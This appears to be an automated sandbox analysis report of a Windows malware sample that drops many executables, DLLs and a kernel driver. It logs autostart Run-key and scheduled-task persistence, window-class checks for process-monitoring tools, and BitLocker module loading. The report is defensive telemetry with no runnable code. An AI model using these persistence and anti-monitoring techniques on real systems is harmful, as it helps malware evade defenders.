Source: gvh50gjo_3616.sys.38.dr	Static PE information: section name: .text entropy: 7.126561604240753

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

File created: C:\Windows\Temp\gvh50gjo_3616.sys

Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\dx3hXS1[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\eAzoDbY[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\QtGui4.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\s7MG2VL[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ZqkKpwG[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\yo7qmvz[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	File created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\Comn.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\msvcr80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\EZs3CZC[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\QtNetwork4.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\QtGui4.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Jump to dropped file
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	File created: C:\Windows\Temp\gvh50gjo_3616.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\8sb9w_003[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\msvcr80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\QtCore4.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\QtNetwork4.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\Comn.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\st22BJg[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\QtCore4.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	File created: C:\Users\user\AppData\Roaming\altuninstall_test\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	File created: C:\Users\user\AppData\Local\Temp\file.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	File created: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File created: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Jump to dropped file

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

File created: C:\Windows\Temp\gvh50gjo_3616.sys

Jump to dropped file

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Windows\System32\svchost.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run {F1A8D70E-81F9-4200-B46C-ECA432751942}

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\r4uYZ44_3616

Source: C:\Windows\System32\svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run {F1A8D70E-81F9-4200-B46C-ECA432751942}
Source: C:\Windows\System32\svchost.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run {F1A8D70E-81F9-4200-B46C-ECA432751942}
Source: C:\Windows\System32\svchost.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run {F1A8D70E-81F9-4200-B46C-ECA432751942}
Source: C:\Windows\System32\svchost.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run {F1A8D70E-81F9-4200-B46C-ECA432751942}

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\{89F650DF-16A5-4514-A5F3-FC16C11D3A61} {76E89F63-4483-450E-AC71-B47AF4F1425B}

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
